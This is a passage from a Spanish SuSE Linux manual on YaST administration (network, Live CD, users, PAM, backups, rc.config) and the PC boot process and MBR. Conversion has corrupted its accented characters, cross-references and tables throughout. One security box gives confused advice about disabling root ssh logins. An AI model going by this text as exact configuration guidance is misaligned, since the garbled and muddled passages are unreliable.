  6900.                                  Aquφ  es  posible  seleccionar  con  `F3=Auto-IP'  los  servicios  DHCP     o
  6901.                                  BOOTP     para obtener una configuraci≤n automßtica de los IP's.
  6902.  
  6903.  
  6904. 108
  6905.        __________________________________________________________________________________3.7.__Administraci≤n_del_sistema__________*
  6906.  *______________________
  6907.  
  6908.                          Figura 3.24: Netzwerk Grundkonfiguration
  6909.  
  6910.  
  6911.  
  6912. `Cambiar  nombre  del  host'                      Se puede definir el nombre de la computa-
  6913.       dora (ingl. hostname) y el nombre de dominio (mßs informaci≤n otra vez
  6914.       en el en la pßgina 153Requisitos, Preparativoschapter.5).
  6915. `Configurar  servicios  de  red'                          Con  esta  opci≤n  se  configuran  mu-
  6916.       chos servicios bßsicos de uso frecuente:  inetd  (para telnet , ftp , imprimir
  6917.       etc.), portmap  (para los servidores NFS y NIS) y rpc.nfsd  (para servidor
  6918.       NFS).
  6919. `Configuraci≤n  DNS'                   Es posible indicar uno o varios servidores de nom-
  6920.       bres  (ver  el  en  la  pßgina  441Configurar  e  iniciar  servicios  de  red  y
  6921.       localesHfootnote.77).
  6922. `Configuraci≤n  cliente  YP'                         Esta opci≤n es activa cuando el paquete
  6923.       ypclient, serie n estß instalado  (ver el apartado 5.4 en la pßgina 166NIS,
  6924.       las pßginas amarillas del LANsection.5.4 y en la pßgina 443Configurar e
  6925.       iniciar servicios de red y localesHfootnote.77)  .
  6926. `Configurar  sendmail'                     Para  sendmail   se  puede  instalar  tambiΘn  un
  6927.       fichero de configuraci≤n, que brinda una gran funcionalidad para muchos
  6928.       tipos de tareas.
  6929. `Administrar  impresoras  remotas'                              Esta  opci≤n  permite  configurar
  6930.       impresoras que son accesibles vφa red a travΘs de TCP/IP. Para configurar
  6931.       la  impresora  de  red  lp   (que  se  encuentra  en  el  servidor  de  impresi≤n
  6932.       sol.cosmos.univ con el nombre local remote      ), rellene el formulario.
  6933.       Si  se  necesita  un  ''pre-filtro''  para  esta  impresora,  consultar  el  aparta-
  6934.       do 12.4 en la pßgina 337Impresoras de red con apsfilter section.12.4.
  6935. `Conectar  impresora  mediante  Samba'                               Esta opci≤n se activa cuando
  6936.       el paquete samba, serie n estß instalado y permite el acceso a una impre-
  6937.       sora que se conecta a una computadora con Windows.
  6938. `Conectar  impresora  mediante  Novell'                                La  opci≤n  se  activa  con  el
  6939.       paquete ncpfs, serie n instalado.
  6940. `Configurar  parßmetros  RDSI'                          La opci≤n estß activa cuando el paquete
  6941.       i4l, serie n estß instalado.  Para RDSI se ofrecen men·s con muchos de-
  6942.       talles (consultar las explicaciones en el apartado 6.2 en la pßgina 173Ac-
  6943.       ceso a Internet vφa RDSI ~ la configuraci≤nsection.6.2).
  6944.  
  6945.  
  6946.                                                                                                                                    *
  6947.  *   109
  6948. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6949.  *_______________________________________@
  6950.  
  6951.  
  6952.  
  6953.                            `Configuraci≤n  de  PPP'                    Aquφ  se  configura  el  acceso  a  travΘs  del  pro-
  6954.                                  tocolo  PPP  (consultar  las  explicaciones  en  el  apartado  6.1  en  la  pßgi-
  6955.                                  na 172PPPsection.6.1).
  6956.  
  6957.                            En el capφtulo 5 en la pßgina 153Linux en la redchapter.5 hay detalles adi-
  6958.                            cionales relacionados con la configuraci≤n de una red.
  6959.  
  6960.  
  6961.                            3.7.4      Configurar sistema Live
  6962.  
  6963.                            Es posible conseguir por separado, abonando una tasa de protecci≤n, un CD-
  6964.                            ROM  con  un  sistema  de  ficheros  ''en  vivo''  (Live-filesystem)  o  bajarse  la
  6965.                            imagen ISO del servidor FTP (ftp://ftp.suse.com/pub/suse/i386/).
  6966.                            Se puede arrancar desde este ''Live-CD'' alcanzando asφ varios objetivos:
  6967.  
  6968.                              o   Es  posible  arrancar  directamente  un  sistema  Linux  (incluido  sistema
  6969.                                  X Window) desde este CD-ROM sin instalar nada en el disco duro.  Esto
  6970.                                  es muy ·til para saber si una determinada computadora corre con SuSE
  6971.                                  Linux  o  para  tener  a  mano  un  sistema  de  rescate  amplio  e  indestruc-
  6972.                                  tible (ver apartado 16.5 en la pßgina 425El sistema de rescate de SuSE
  6973.                                  section.16.5).
  6974.                              o   TambiΘn  se  puede  enlazar  el  ''Live-System''  a  un  sistema  SuSE     Linux
  6975.                                  instalado en el disco duro, lo que solamente tiene sentido cuando no hay
  6976.                                  suficiente espacio en el disco para una instalaci≤n completa; esta segunda
  6977.                                  posibilidad es la que nos ocupa ahora.
  6978.                            ________________________________________________________________________________________________________*
  6979.  *________
  6980.                            |  Tenga  en  cuenta  que  el  sistema  Live  tampoco  representa  algo  mßs  que                       *
  6981.  *        ||||
  6982.                            |                                                                                                       *
  6983.  *        |||
  6984.                            |  una selecci≤n de software, ya que el espacio en un CD-ROM tambiΘn es                                 *
  6985.  *        |||
  6986.                            |  limitado.                                                                                            *
  6987.  *        |||
  6988.                            |_______________________________________________________________________________________________________*
  6989.  *________|||_
  6990.  
  6991.                            Para  la  integraci≤n  del  sistema-Live  se  selecciona  en  YaST    `Integrar
  6992.                            sistema  de  ficheros  Live  CD'. Llevando a cabo esto, YaST genera en-
  6993.                            laces simb≤licos para cada paquete que a·n no estΘ instalado.  Estos enlaces
  6994.                            apuntan a los paquetes en el CD, asφ que se pueden ejecutar todos los pro-
  6995.                            gramas desde el CD sin ocupar espacio en el disco duro.  Hay que tener en
  6996.                            cuenta que a partir de ahora serß obligatorio colocar el CD con el Live-system
  6997.                            antes de arrancar Linux, ya que durante el arranque Θste se monta sobre el +
  6998.                            Punto de anclaje (ingl. Mountpoint) /S.u.S.E. Si se desea trabajar con otro
  6999.                            CD, primero se debe arrancar con el Live-CD y despuΘs desmontarlo con el
  7000.                            comando:
  7001.                                  tierra:  #  umount  /S.u.S.E.
  7002.  
  7003.                            y a continuaci≤n se monta el otro CD.
  7004.  
  7005.                            De tal forma es posible que tambiΘn algunos programas bßsicos se enlacen
  7006.                            con el Live-CD, los cuales correrφan desde el CD, por lo tanto Θste no se deja
  7007.                            desmontar. Si se ha instalado el sistema base esto no tiene por quΘ ocurrir, ya
  7008.                            que el sistema es lo suficientemente aut≤nomo para correr completamente sin
  7009.                            el Live-CD. Arranque su sistema otra vez sin el Live-CD en el lector. Apare-
  7010.                            cerßn  algunos  mensajes  de  error  en  la  pantalla  que  pueden  ser  ignorados.
  7011.                            Todos los programas necesarios para acceder al CD ya estßn en su sistema.
  7012.  
  7013.                            Si aparece "No  space  left  on  device" integrando el Live-CD, es posi-
  7014.                            ble que la densidad de +  Inode en su partici≤n no sea suficientemente alta, lo
  7015.  
  7016.  
  7017. 110
  7018.        __________________________________________________________________________________3.7.__Administraci≤n_del_sistema__________*
  7019.  *______________________
  7020.  
  7021.  
  7022.  
  7023. cual pasa muchas veces en caso de particiones peque±as.  Lamentablemente,
  7024. esto solo se puede modificar formateando otra vez la partici≤n. Para este for-
  7025. mateo indique entonces una densidad mßs alta (p. ej.  1KB por inode en lugar
  7026. de 4KB ~ ver tambiΘn apartado 3.4.1 en la pßgina 93Men· de experto para
  7027. ajustes finossubsection.3.4.1).
  7028.  
  7029. Si realmente se termina la integraci≤n del Live-CD por falta de espacio, no
  7030. se podrß arrancar YaST  ni siquiera para desconectar el sistema-Live, porque
  7031. YaST  ya  no  puede  generar  los  ficheros  que  necesita  para  su  arranque.   Se
  7032. deben borrar algunos enlaces simb≤licos que apuntan a /S.u.S.E./....   3
  7033. Arrancar despuΘs YaST  y desconectar de nuevo el sistema-Live.
  7034.  
  7035. Por lo tanto, la ventaja principal del sistema-Live es el bajo gasto de espacio
  7036. en el disco duro; existen tambiΘn las siguientes desventajas:
  7037.  
  7038.   o   El acceso al sistema-Live es lento, porque los accesos al lector CD-ROM
  7039.       son muchos mßs lentos que los mismos a un disco duro.
  7040.  
  7041.   o   Como se generan muchφsimos enlaces simb≤licos y cada uno gasta un +
  7042.       Inode, hace falta tener suficientes inodes libres.  La cantidad de inodes se
  7043.       ha fijado al generar el sistema de ficheros y solamente puede ser modifi-
  7044.       cada formateando otra vez la partici≤n.
  7045.  
  7046.   o   Hace  falta  una  partici≤n  con  un  tama±o  mφnimo  de  50MB,  para  poder
  7047.       integrar el Live-CD.
  7048.  
  7049.  
  7050. 3.7.5      Configuraci≤n del Login
  7051.  
  7052. Aquφ  es  posible  configurar  el  estilo  del  ''login'',  decidirse  por  una  pantalla
  7053. de  texto  o  entrar  directamente  al  sistema  X  Window.  Si  se  desea  un  login
  7054. grßfico  se  puede  disponer  del  sencillo  XDM  o  del  KDM  mßs  sofisticado;
  7055. si  se  opta  por  KDM ,  se  puede  indicar  adicionalmente  quienes  son  los  que
  7056. tienen derecho a efectuar una parada (shutdown        ) del sistema.  La alternativa
  7057. al ''login'' grßfico es el login con una consola +  ASCII y el arranque de los X
  7058. con el comando startx (figura 3.25 en la pßgina siguiente).
  7059.        _______________________________________________________________________________________________________________________||
  7060.        ||||||||  Si no hay total seguridad en que los X (sistema X Window) arranquen sin                        |||            |
  7061.        ||||||||                                                                                                 ||             |
  7062.        ||||||||  problemas, no se deberφan activar ni XDM ni KDM. En todo caso pruebe                           ||             |
  7063.        ||||||||  primero si se pueden arrancar los X desde una consola antes de activar un                      ||             |
  7064.        ||||||||                                                                                                 ||             |
  7065.        ||||||||  gestor de ventana para el login.                                                               ||             |
  7066.        ||||||||_______________________________________________________________________________________________________________||_
  7067.  
  7068. El nivel de ejecuci≤n 3 (ingl. runlevel 3) se anota en /etc/inittab como
  7069. nivel de ejecuci≤n predeterminado y se define una nueva variable en /etc/
  7070. rc.config (ver apartado 77 en la pßgina 445Configurar e iniciar servicios
  7071. de red y localesHfootnote.77).  Si se usa el nivel de arranque tres para otro
  7072. asunto que no sea el de ejecutar XDM o KDM, siempre se activarß uno de
  7073. ellos.
  7074.  
  7075.  
  7076. 3.7.6      Opciones susewm
  7077.  
  7078. Este men· de configuraci≤n sirve para seleccionar el entorno grßfico.
  7079. 3      ____________________________________________________
  7080.   En el apartado 19.7.5 en la pßgina 476Copiar, renombrar y borrar ficherossubsection.19.7.5 se
  7081. explica c≤mo borrar ficheros y enlaces.
  7082.  
  7083.  
  7084.                                                                                                                                    *
  7085.  *   111
  7086. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  7087.  *_______________________________________@
  7088.  
  7089.  
  7090.  
  7091.                                                         Figura 3.25: Configuraci≤n del Login
  7092.                                                          Figura 3.26: Configuraci≤n susewm
  7093.  
  7094.  
  7095.  
  7096.                            Seleccione aquφ el gestor de ventanas por defecto (ingl. Windowmanager) y
  7097.                            determine para cußles gestores susewm  se deben generar ficheros de config-
  7098.                            uraci≤n que estΘn disponibles para todo el sistema  (ver las explicaciones tΘc-
  7099.                            nicas en el apartado 9.5 en la pßgina 277Configuraci≤n del windowmanager
  7100.                            con SuSEwm section.9.5)  .
  7101.  
  7102.  
  7103.  
  7104.                            3.7.7      Administraci≤n de usuarios
  7105.  
  7106.  
  7107.                            Con  YaST  es  posible  generar  usuarios  nuevos,  borrarlos  o  modificarlos  de
  7108.                            manera  amigable.    El  dißlogo  correspondiente  se  encuentra  en  `Admin-
  7109.  
  7110.  
  7111. 112
  7112.        __________________________________________________________________________________3.7.__Administraci≤n_del_sistema__________*
  7113.  *______________________
  7114.  
  7115.  
  7116.  
  7117. istraci≤n  de  sistema'  bajo  la  opci≤n  `Administraci≤n  de  usuar-
  7118. ios'.
  7119.  
  7120.  
  7121.                    Figura 3.27: Administraci≤n de usuarios con YaST
  7122.  
  7123.  
  7124. Seleccionando   en   este   apartado   `Acceso  al  modem  permitido',   el
  7125. usuario en cuesti≤n puede usar este dispositivo; dando este permiso el usuario
  7126. se  da  de  alta  en  los  grupos  `uucp'  y  `dailout'.  Todos  los  usuarios  que
  7127. pertenezcan a este grupo tendrßn permiso de establecer conexiones PPP.
  7128.  
  7129. Todos los ficheros del directorio de ejemplo /etc/skel se copian al direc-
  7130. torio de un nuevo usuario, asφ que existe directamente una cierta preconfig-
  7131. uraci≤n mφnima para todos los usuarios nuevos.  DespuΘs de la instalaci≤n,
  7132. cada usuario tiene, evidentemente, la posibilidad de adaptar estos ficheros a
  7133. sus necesidades.
  7134.  
  7135. Aparte de esto YaST  ejecuta dos scripts, que se pueden usar para hacer algu-
  7136. nas tareas rutinarias adicionales:
  7137.  
  7138.   o   DespuΘs  de  haber  generado  el  usuario  se  ejecuta  ~  si  existe  ~  el  script
  7139.       /usr/sbin/useradd.local.  En este momento el usuario ya estß dado
  7140.       de alta en /etc/passwd y en /etc/shadow. TambiΘn existe ya el direc-
  7141.       torio home del usuario y los ficheros de /etc/skel ya estßn copiados en
  7142.       Θl.
  7143.   o   Antes de borrar a cualquier usuario, se llama ~ si existe ~ el script /usr/
  7144.       sbin/userdel.local. En este momento el usuario todavφa estß dado de
  7145.       alta en los ficheros passwd y shadow y su directorio home tambiΘn existe
  7146.       a·n.
  7147.  
  7148. A  ambos  scripts  se  les  pasa  el  nombre  de  usuario  como  parßmetro.   Si  el
  7149. script  necesita  datos  adicionales  (user-ID,  login-shell,  directorio-Home)  es
  7150. relativamente fßcil leerlos del fichero /etc/passwd.
  7151.  
  7152. Si se tiene suficiente experiencia y parece demasiado trabajo arrancar YaST
  7153. para los fines de administraci≤n de usuario, tambiΘn estßn a disposici≤n los
  7154. programas useradd  y userdel .
  7155.  
  7156.  
  7157.                                                                                                                                    *
  7158.  *   113
  7159. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  7160.  *_______________________________________@
  7161.  
  7162.  
  7163.  
  7164.                            Algo sobre PAM
  7165.                            Los ficheros de PAM (ingl. Pluggable Authentication Modules) se encuentran
  7166.  
  7167.                            en /etc/pam.d.  La documentaci≤n para programadores y administradores
  7168.                            de sistema se encuentra en /usr/doc/packages/pam.
  7169.  
  7170.                            SuSE     Linux es capaz de manejar contrase±as del tipo MD5; estos puede tener
  7171.                            mßs de 8 caracteres. Hay que tener un poco de cuidado, ya que la encriptaci≤n
  7172.                            MD5 no no es compatible con crypt()       , la funci≤n estßndar bajo Unix. Esto
  7173.                            significa que muchos Unix comerciales y algunos programas no son capaces
  7174.                            de funcionar con contrase±as del tipo MD5.
  7175.  
  7176.                            El  fichero  /usr/doc/packages/pam/md5.config  contiene  informaci≤n
  7177.                            sobre la configuraci≤n.
  7178.  
  7179.  
  7180.                            3.7.8      Administraci≤n de grupos
  7181.  
  7182.                            Con YaST  tambiΘn se pueden administrar grupos aparte de usuarios.
  7183.  
  7184.  
  7185.  
  7186.                                                Figura 3.28: Administraci≤n de grupos con YaST
  7187.  
  7188.  
  7189.                            Bajo  Linux  (como  en  general  bajo  Unix)  hay  que  asignar  un  grupo  a  cada
  7190.                            usuario.   Esto  se  necesita,  porque  de  la  dependencia  al  grupo  se  derivan
  7191.                            determinados  derechos  de  acceso,  p. ej.  a  ficheros.   Con  este  concepto  se
  7192.                            puede  restringir  el  acceso  hacia  algunos  directorios  y  solo  permitirlo  a  un
  7193.                            determinado grupo a travΘs de una contrase±a.
  7194.  
  7195.                            Hay algunos grupos que ya estßn previstos en Linux, como por ejemplo los
  7196.                            grupos `users', `root', etc.
  7197.  
  7198.                            La forma `users' solamente es la representaci≤n en forma de texto de un
  7199.                            grupo de usuarios pues la computadora trabaja internamente con cifras,  los
  7200.                            denominados identificadores de grupo (ingl. group id).  El fichero de config-
  7201.                            uraci≤n de los grupos de usuario es /etc/group.
  7202.  
  7203.                            Hasta aquφ los detalles tΘcnicos, ya que usando YaST , generar grupos no rep-
  7204.                            resenta  ning·n  problema.   El  dißlogo  para  la  administraci≤n  de  grupos  se
  7205.  
  7206.  
  7207. 114
  7208.        __________________________________________________________________________________3.7.__Administraci≤n_del_sistema__________*
  7209.  *______________________
  7210.  
  7211.  
  7212.  
  7213. encuentra  bajo  `Administraci≤n  del  sistema'  en  la  opci≤n  `Admin-
  7214. istraci≤n  de  grupos', como se puede ver en la figura 3.28 en la pßgina
  7215. anterior.
  7216.  
  7217.  
  7218. 3.7.9      Crear respaldos/backups
  7219.  
  7220. Para  hacer  un  respaldo  (ingl.  backup)  rßpido  y  selectivo  resulta  ·til  crear
  7221. copias de seguridad justamente de los ficheros que se han generado o modi-
  7222. ficado desde la ·ltima instalaci≤n. Estos ficheros son tφpicamente los de con-
  7223. figuraci≤n  y  de  datos  y  precisamente  esto  es  lo  que  realiza  la  funci≤n  aquφ
  7224. descrita.
  7225.  
  7226.  
  7227.  
  7228.                          Figura 3.29: Respaldo (Backup) con YaST
  7229.  
  7230.  
  7231. El correspondiente dißlogo se constituye de tres pasos:
  7232.  
  7233.  1.   Definir contenido
  7234.       En esta pantalla se define una lista de los directorios a excluir del +  Back-
  7235.       up.  Estßn previstos para ser excluidos /tmp, /dev o /proc, pero se de-
  7236.       berφan agregar a esta lista los CD-ROMs y directorios NFS montados tal
  7237.       como las particiones DOS que no lo estΘn.  Mientras mßs directorios se
  7238.       excluyan  del  mecanismo  backup,  mßs  rßpido  funciona,  porque  no  hace
  7239.       falta efectuar comparaciones innecesarias entre los directorios y las de-
  7240.       scripciones  de  los  paquetes._  Las_ entradas  en  la  lista  de__exclusiones_ se
  7241.       modifican con las teclas |+_ |y |-_ |para a±adir y borrar.  Con |F____1|0se con-
  7242.       tin·a con la siguiente funci≤n.
  7243.  2.   B·squeda
  7244.       Ahora YaST  busca en el sistema los ficheros a incluir en el respaldo.  La
  7245.       cantidad  y  el  tama±o  de  los  ficheros  ya  encontrados  se  indica  en  cada
  7246.       instante.   Al  final  de  la  b·squeda  aparece  una  lista  con  todos  los  datos
  7247.       encontrados_de_la_cual_se pueden borrar todavφa ficheros con la tecla de
  7248.       espacio | ____________|. Estos ficheros no se respaldan.
  7249.  3.   Fijar comando de respaldo
  7250.       Aquφ se determina c≤mo guardar los ficheros, para lo cual se introduce el
  7251.       nombre de fichero y se pueden definir opciones.
  7252.  
  7253.  
  7254.                                                                                                                                    *
  7255.  *   115
  7256. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  7257.  *_______________________________________@
  7258.  
  7259.  
  7260.  
  7261.                            El  mecanismo  de  respaldo  solo  puede  funcionar  si  no  ha  existido  ninguna
  7262.                            influencia externa que haya podido modificar las fechas. Ademßs, la funci≤n
  7263.                            necesita bastante memoria RAM, ya que solamente los nombres de fichero
  7264.                            de un CD-ROM tφpico ocupan 6 MB. Aparte de esto, se necesita el espacio
  7265.                            en  disco  para  el  respaldo,  espacio  que  se  puede  reducir  por  el  factor  dos
  7266.                            activando la compresi≤n de ficheros.  No por nada, lo mßs recomendable es
  7267.                            grabar el respaldo en una cinta.
  7268.  
  7269.  
  7270.                            3.7.10       Configuraciones de seguridad
  7271.  
  7272.                            No se debe modificar la configuraci≤n predeterminada sin conocer el trasfon-
  7273.                            do de cada acci≤n.  Es imprescindible leer el capφtulo 18 en la pßgina 451Se-
  7274.                            guridad y Confianzachapter.18.
  7275.                            ________________________________________________________________________________________________________*
  7276.  *________||
  7277.                            |  Para  deshabilitar  los  ''logins''  del  superusuario  `root',  se  debe  adap-                     *
  7278.  *        ||||
  7279.                            |                                                                                                       *
  7280.  *        |||
  7281.                            |  tar  el  fichero  /etc/ssh_config  en  el  cual  la  definici≤n  por  defecto  es                    *
  7282.  *        |||
  7283.                            |  PasswordAuthentication  yes                       . ~ Configurando ssh  correctamente, los           *
  7284.  *        |||
  7285.                            |                                                                                                       *
  7286.  *        |||
  7287.                            |  ''logins'' de `root' por la red son seguros.                                                         *
  7288.  *        |||
  7289.                            |_______________________________________________________________________________________________________*
  7290.  *________|||_
  7291.  
  7292.                            3.7.11       Configurar XFree86[tm]
  7293.  
  7294.                            Hay diferentes herramientas para configurar el sistema X Window (XFree86);
  7295.                            se  recomienda  probar  primero  con  SaX ,  cuyas  caracterφsticas  se  detallan
  7296.                            explφcitamente  en  el  apartado  8.1  en  la  pßgina  238Configuraci≤n  con  SaX
  7297.                            section.8.1.
  7298.  
  7299.  
  7300.                            3.7.12       Cambiar fichero de configuraci≤n
  7301.  
  7302.                            La administraci≤n de sistema de SuSE     Linux se efect·a casi completamente
  7303.                            con  un  fichero  de  configuraci≤n  central  (/etc/rc.config).   Los  distintos
  7304.                            scripts de arranque eval·an este fichero durante el arranque y el sistema se
  7305.                            configura al respecto.
  7306.  
  7307.                            Usando YaST  es posible modificar en un fichero central los distintos apuntes
  7308.                            del fichero de configuraci≤n y asφ adaptar el sistema a gusto sin necesidad de
  7309.                            conocer en detalle todos los ficheros que resulten afectados.
  7310.  
  7311.                            Para modificar el valor de una variable, primero se selecciona con las teclas
  7312.                            |#__||__|"y despuΘs se pulsa |______|-o |F___|_3para modificarla.
  7313.  
  7314.                            Si se modifica este fichero a mano, se debe ejecutar posteriormente el script
  7315.                            SuSEconfig .   Este  script  se  encarga  de  pasar  las  modificaciones  hechas  en
  7316.                            /etc/rc.config  a  los  correspondientes  ficheros  de  configuraci≤n  de  ca-
  7317.                            da programa especφfico.  En el apartado 17.6 en la pßgina 437Las variables
  7318.                            en  /etc/rc.config              ~  Configuraci≤n  de  sistemasection.17.6  hay  una  de-
  7319.                            scripci≤n detallada del fichero de configuraci≤n con todas las posibilidades
  7320.                            de ajuste.
  7321.  
  7322.  
  7323.  
  7324. 116
  7325. __________________________________________________________________________________3.7.__Administraci≤n_del_sistema_________________*
  7326.  *_______________
  7327.  
  7328.  
  7329.  
  7330.   Figura 3.30: Modificaci≤n del fichero de configuraci≤n con YaST
  7331.                                                                                                                                117
  7332. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  7333.  *_______________________________________@
  7334.  
  7335. 118
  7336.  
  7337.                                                                                                            Capφtulo  4
  7338.              Arrancar   y   gestor   de   arranque   ~
  7339.  
  7340.  
  7341.  
  7342.                                                                   LILO ,   loadlin ,   etc.
  7343.  
  7344.  
  7345. En este capφtulo se presentan diferentes mΘtodos para +  Arrancar el sistema.
  7346. Para que se puedan distinguir los diferentes mΘtodos, al principio se explican
  7347. algunos detalles sobre el proceso de arranque en PCs.
  7348.  
  7349.  
  7350. 4.1       El proceso de arranque en un PC
  7351.  
  7352. DespuΘs  de  encender  la  computadora,  la  +  BIOS  (ingl.  Basic  Input  Output
  7353. System), inicializa pantalla y teclado y comprueba la memoria RAM. íHasta
  7354. este momento para su PC todavφa no existe ning·n medio de almacenamiento
  7355. (disquete, disco duro)!
  7356.  
  7357. DespuΘs de que el sistema base haya terminado con su ''excursi≤n al interior''
  7358. empieza a ocuparse de sus alrededores. De los valores que estßn en la CMOS
  7359. (CMOS setup) se lee la informaci≤n sobre los dispositivos mßs importantes,
  7360. la  hora  y  la  fecha.   En  este  momento  se  reconoce  el  primer  disco  duro  y
  7361. su  geometrφa  asφ  que  la  carga  del  sistema  operativo  desde  el  disco  puede
  7362. comenzar.
  7363.  
  7364. Para ello se lee desde el primer disco duro, el primer sector fφsico de datos del
  7365. tama±o de 512 Bytes y se carga a la memoria.  El control de ejecuci≤n pasa
  7366. a este peque±o programa y la ejecuci≤n de los comandos en Θste determina a
  7367. partir de ahora el proceso de arranque. Estos primeros 512 Bytes en el primer
  7368. disco duro se denominan en inglΘs Master Boot Record (+  MBR).
  7369.  
  7370. La explicaci≤n de estos hechos ~ aunque aquφ muy simplificados ~ permite
  7371. sacar conclusiones importantes para el entendimiento de lo expuesto a con-
  7372. tinuaci≤n:  Hasta el justo momento de cargar el MBR, el arranque es exacta-
  7373. mente el mismo en cualquier PC y completamente independiente del sistema
  7374. operativo instalado; el PC solamente tiene acceso a los dispositivos a travΘs
  7375. de las rutinas (drivers) grabadas en la BIOS.
  7376.  
  7377.  
  7378. Master Boot Record
  7379.  
  7380. La estructura del MBR estß definida por una convenci≤n independiente de los
  7381. sistemas  operativos.  Los  primeros  446  Bytes  estßn  reservados  para  c≤digo
  7382. de  programas1_.___Los__pr≤ximos__64__Bytes__ofrecen__espacio_ para  una  tabla  de
  7383. 1  íEl c≤digo mismo y sus capacidades sφ que dependen del sistema operativo responsable de la
  7384. generaci≤n del MBR!
  7385.  
  7386.  
  7387.                                                                                                                                    *
  7388.  *   119
  7389. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  7390.  *_______________________________________@
  7391.  
  7392.  
  7393.  
  7394.                            particiones con hasta 4 entradas  (ver apartado 2.8 en la pßgina 70Particionar
  7395.                            para principiantessection.2.8 y apartado 2.9 en la pßgina 71Particionar para
  7396.                            avanzadossection.2.9)   2 .   Los  ·ltimos  2  Bytes  deben  contener  una  ''cifra
  7397.                            mßgica'' (AA55    ):  un MBR que tenga otra cifra serß tratado como no vßlido
  7398.                            por parte de la BIOS y de todos los sistemas operativos de PC
  7399.  
  7400.  
  7401.                            Sectores de arranque
  7402.  
  7403.                            Los  sectores  de  arranque  son  los  primeros  de  cada  partici≤n3 .    Ofrecen
  7404.                            512 Bytes de espacio y sirven para albergar c≤digo, que puede ser ejecutado
  7405.                            por el sistema operativo que resida en esta partici≤n.  En el caso de los sec-
  7406.                            tores de arranque de DOS-,Windows- u OS/2 esto es realmente asφ y aparte
  7407.                            del c≤digo ejecutable tambiΘn contienen informaci≤n importante del sistema
  7408.                            de ficheros.  Por el contrario, los sectores de arranque de una partici≤n Linux
  7409.                            estßn en principio vacφos (!),  incluso despuΘs de haber generado el sistema
  7410.                            de ficheros.  Por lo tanto, una partici≤n Linux no es autoarrancable aunque
  7411.                            tenga un kernel y un sistema de ficheros raφz vßlidos.
  7412.  
  7413.                            Un  sector  de  arranque  con  c≤digo  de  arranque  vßlido  lleva  en  los  ·ltimos
  7414.                            2 Bytes la misma ''cifra mßgica'' que el MBR.
  7415.  
  7416.  
  7417.                            Arranque de DOS o Windows 95/98
  7418.  
  7419.                            En  el  MBR  de  DOS  del  primer  disco  duro  hay  una  entrada  de  partici≤n
  7420.                            marcada como activa (ingl. bootable), es decir, que se busca allφ el sistema a
  7421.                            cargar4 . El c≤digo de programa de DOS en el MBR representa el primer paso
  7422.                            del Bootloader (ingl. first stage bootloader) y comprueba si se encuentra un
  7423.                            sector de arranque vßlido en la partici≤n indicada.
  7424.  
  7425.                            Si fuera el caso, el c≤digo en este sector de arranque se ejecuta como segundo
  7426.                            paso  del  Bootloader  (ingl.  secondary  stage  loader).   Este  c≤digo  carga  los
  7427.                            programas de sistema y finalmente aparece el conocido prompt del DOS o se
  7428.                            levanta la superficie de Windows 95/98.
  7429.  
  7430.                            En DOS una sola partici≤n primaria puede ser marcada como activa, lo cual
  7431.                            significa que el sistema DOS no puede residir en una unidad l≤gica dentro de
  7432.                            una partici≤n extendida.
  7433.  
  7434.  
  7435.  
  7436.                            4.2       Conceptos de arranque
  7437.  
  7438.  
  7439.                            El ''concepto de arranque'' mßs simple que uno se puede imaginar es el de una
  7440.                            computadora con un solo sistema operativo.  Una configuraci≤n muy exten-
  7441.                            dida en este sentido es la de DOS o Windows 95/98 como sistema operativo
  7442.                            ·nico en la computadora. Para este caso, acabamos de comentar los procesos
  7443.                            que transcurren durante el inicio.
  7444.  
  7445.                            Un proceso de arranque semejante tambiΘn serφa imaginable para una com-
  7446.                            putadora de ''solo-Linux'' y en este caso no serφa necesaria la instalaci≤n de
  7447.                            _____________________________________________2
  7448.                               Sin la tabla de particiones no puede existir ning·n sistema de ficheros (las unidades de disco
  7449.                            en MS-DOS) o sea, es prßcticamente imposible usar el disco duro.
  7450.                            3 A excepci≤n de la partici≤n extendida que es un ''contenedor'' para otras particiones.
  7451.                            4 Esto significa que DOS debe estar instalado, en todo caso, en el primer disco duro.
  7452.  
  7453.  
  7454. 120
  7455.        ________________________________________________________________________________________4.2.__Conceptos_de_arranque_________*
  7456.  *______________________
  7457.  
  7458.  
  7459.  
  7460. LILO . Pero en tal escenario no se podrφa indicar al kernel una lφnea de co-
  7461. mandos  para  el  inicio  (con  informaci≤n  adicional  sobre  el  hardware  o  con
  7462. indicaciones especiales respecto al arranque, etc.).
  7463.  
  7464. En cuanto existen varios sistemas operativos instalados en una computadora
  7465. existen tambiΘn diferentes conceptos de arranque:
  7466.  
  7467. Arrancar sistemas operativos adicionales de disquete:                                 El  primer  sistema
  7468.       operativo  se  carga  desde  el  disco  duro  y  los  demßs  desde  la  disquetera
  7469.       usando disquete de arranque.
  7470.  
  7471.       o   Condici≤n: Existe una disquetera desde la cual se puede arrancar.
  7472.  
  7473.       o   Ejemplo: Se instala Linux como sistema adicional en un sistema DOS,
  7474.           Windows 95/98 o OS/2 y se arranca Linux siempre desde un disquete
  7475.           de arranque.
  7476.  
  7477.       o   Ventajas: Se ahorra la instalaci≤n del gestor de arranque que en defini-
  7478.           tiva es un poco crφtico.
  7479.  
  7480.       o   Desventajas: Se debe mantener siempre un buen stock de disquetes de
  7481.           arranque que funcionen y el arranque tarda mßs.
  7482.  
  7483.       o   El hecho de que Linux no pueda arrancar sin el disquete de arranque
  7484.           puede ser una ventaja tal como una desventaja seg·n las condiciones
  7485.           de uso.
  7486.  
  7487. Arrancar sistemas adicionales en tiempo de ejecuci≤n:                                 Se carga un deter-
  7488.       minado sistema operativo en cada arranque y los demßs se cargan de man-
  7489.       era opcional a travΘs del que ya estß cargado.
  7490.  
  7491.       o   Condici≤n:   Deben existir programas ·tiles para esto.
  7492.  
  7493.       o   Ejemplos:    La carga de Linux desde DOS mediante el uso de load-
  7494.           lin.exe   (ver apartado 4.9 en la pßgina 143Configuraci≤n del mecan-
  7495.           ismo  de  arranque  con  loadlinsection.4.9)   o  la  carga  de  un  servidor
  7496.           NetWare desde DOS con server.exe .
  7497.  
  7498. Instalaci≤n de un gestor de arranque:                        Un  gestor  de  arranque  (ingl.  Boot-
  7499.       manager), permite mantener varios sistemas operativos en una computa-
